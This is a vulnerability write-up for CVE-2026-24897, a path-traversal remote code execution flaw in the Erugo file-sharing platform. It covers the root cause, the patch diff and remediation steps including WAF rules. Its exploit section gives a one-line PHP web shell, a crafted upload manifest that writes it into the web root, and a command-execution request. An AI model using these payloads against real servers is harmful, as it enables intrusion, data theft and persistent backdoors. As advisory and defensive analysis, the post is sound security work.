Erugo RCE: When 'File Sharing' Includes Sharing Your Server Root
Feb 2, 2026·6 min read·8 visits
Executive Summary (TL;DR)
Authenticated RCE in Erugo < 0.2.15. The application blindly trusted user-supplied file paths in upload manifests and share creation logic. An attacker can use `../../` sequences to escape the upload directory and write a PHP shell to the public web folder, resulting in full system compromise. Patch immediately.
A critical vulnerability in Erugo, a self-hosted file-sharing platform, allows authenticated users to achieve Remote Code Execution (RCE) via path traversal. By manipulating file paths during bundle uploads or share creation, attackers can write malicious scripts (like web shells) directly to the web root, bypassing all intended restrictions.
The Hook: Unlimited Sharing, Literally
Self-hosted file sharing platforms like Erugo are a godsend for privacy-conscious organizations. They replace Dropbox with something you control. But 'control' is a double-edged sword. If you control the code, you also control the bugs. And in the case of CVE-2026-24897, Erugo decided to take the concept of 'file sharing' a bit too literally, allowing users to share files not just with each other, but with the underlying operating system's filesystem.
This isn't your garden-variety reflected XSS or a sleepy IDOR. This is the big one: Remote Code Execution (RCE). It holds a CVSS score of 10.0, which in technical terms means "drop everything and patch before you get ransomed." The vulnerability essentially turns the application into a glorified file manager for attackers, letting them write whatever they want, wherever they want.
The irony here is palatable. A tool designed to securely store files becomes the very mechanism used to breach the server. The flaw resides in how Erugo handles file paths during complex operations like bundle uploads and share creation. It assumes that authenticated users are nice people who follow the rules. Spoiler alert: they aren't.
The Flaw: Trusting the Path of Least Resistance
At its core, this vulnerability is a textbook case of Path Traversal (CWE-22) combined with Unrestricted File Upload (CWE-434). The root cause is a lack of input validation in three specific controllers: EmailTemplatesController, TusdHooksController, and UploadsController.
Let's focus on TusdHooksController, which is arguably the juiciest target. When you upload a 'bundle' of files using the TUS protocol (a resumable file upload protocol), the server needs to know where to put the pieces. Erugo parses a manifest file—essentially a list of instructions—that tells it where these files go.
The fatal mistake? The application took the file paths defined in this manifest and used them blindly. It didn't ask, "Hey, does this path try to climb out of the upload directory?" It just said, "Okay, boss!" and executed the write operation. This allows an attacker to supply a path like ../../../../var/www/html/public/shell.php.
Most modern frameworks have built-in protections for this, but when you are manually handling file streams and paths to support complex features like 'resumable bundle uploads,' you often bypass those safety rails. The developer forgot the golden rule of security: Never trust the client. If the client says the file goes in ../../, you don't put it there. You ban the user.
The Code: Anatomy of a Patch
Let's look at the fix (Commit 256bc6) to understand just how open the door was. The patch introduces a critical function: sanitizeBundlePath and uses realpath() checks.
The Vulnerable Logic (Conceptual): Before the patch, the code looked something like this (pseudocode based on the flaw):
foreach ($manifest['files'] as $file) {
$destination = $extractDir . '/' . $file['path'];
// No checks! Just write it.
move_uploaded_file($temp, $destination);
}If $file['path'] contains ../, $destination resolves to outside $extractDir.
The Fixed Logic: The developers implemented a classic defense: resolve the path and check it against the allow-list directory.
// In TusdHooksController.php and UploadsController.php
+ private function sanitizeBundlePath(string $path): ?string
+ {
+ $path = str_replace('\\', '/', $path);
+ // Explicitly block traversal sequences
+ if (strpos($path, '..') !== false) { return null; }
+ return $path;
+ }
// Later, during the write operation:
+ $resolvedPath = realpath($extractedFilePath);
+ $resolvedExtractDir = realpath($extractDir);
+
+ // The Holy Grail of anti-traversal logic
+ if ($resolvedPath === false || strpos($resolvedPath, $resolvedExtractDir) !== 0) {
+ throw new Exception("Directory traversal detected!");
+ }They also patched EmailTemplatesController.php by strictly enforcing alphanumeric IDs:
+ if (!preg_match('/^[a-zA-Z0-9_-]+$/', $templateId)) {
+ return response()->json(['error' => 'Invalid ID'], 400);
+ }This confirms that previously, you could just pass ../../config as a template ID and likely read or overwrite sensitive configuration files.
The Exploit: From User to Root
So, how do we weaponize this? Since this requires authentication, we assume the role of a standard user. Maybe we registered openly, or maybe we phished a credential. Once inside, we target the bundle upload mechanism.
Step 1: The Setup We create a malicious PHP web shell. Simple, classic:
<?php system($_GET['cmd']); ?>Step 2: The Manifest We craft a TUS upload request. We aren't just uploading a file; we are uploading a bundle that contains metadata. We intercept the HTTP request that sends the file manifest and modify the path.
{
"files": [
{
"name": "innocent_image.jpg",
"path": "../../public/shell.php",
"type": "application/x-php",
"size": 1024
}
]
}Step 3: The Trigger
We send this to /api/tus/hooks. The server processes the hook, reads our manifest, sees the path ../../public/shell.php, and helpfully writes our PHP code into the public web root.
Step 4: The Payoff
We open our browser and navigate to https://erugo-target.com/shell.php?cmd=id.
Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Game over. We have code execution. From here, we can dump the database, pivot to the internal network, or install a crypto miner if we're feeling uninspired.
The Impact: Why You Should Care
This is a CVSS 10.0 for a reason. It checks all the worst boxes:
- Low Complexity: You don't need to defeat ASLR or craft heap sprays. You just change a string in a JSON packet.
- High Privileges: While it requires an account, any low-level account will do. In many orgs, getting a low-level account is trivial.
- Total Compromise: RCE means the attacker owns the data. For a file-sharing platform, this destroys the primary value proposition: confidentiality.
An attacker could easily automate a script to scan for Erugo instances, register a dummy account (if open registration is on), and drop a backdoor. Given that these platforms often host sensitive corporate documents, legal contracts, or personal photos, the potential for extortion or data leakage is massive.
Furthermore, because the attacker can overwrite existing files, they could backdoor the login page to harvest credentials from other users, including admins, ensuring persistence even if the web shell is deleted.
The Fix: Stopping the Bleeding
If you are running Erugo versions 0.2.14 or older, you are currently exposing a massive hole in your perimeter.
Remediation Steps:
- Update Immediately: Pull the latest docker image or update your source to v0.2.15. This version contains the
realpathchecks and input sanitization discussed above. - Audit Your Filesystem: Check your
public/directory and other writeable paths for unknown.php,.sh, or.twigfiles created recently. If you find one, assume you are compromised. - WAF Rules: If you cannot patch immediately (why?), configure your WAF to block requests containing
../or%2e%2ein the body of requests to/api/tus/hooksand/api/shares/create.
Developer Lesson:
Always canonicalize paths before using them. PHP's realpath() is your friend. Never assume that just because a user is logged in, they aren't trying to destroy you.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Erugo ErugoOSS | <= 0.2.14 | 0.2.15 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-24897 |
| CVSS | 10.0 (Critical) |
| Attack Vector | Network (Authenticated) |
| CWE | CWE-22 (Path Traversal) |
| Components | TusdHooksController, EmailTemplatesController |
| Status | Patched in v0.2.15 |
MITRE ATT&CK Mapping
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.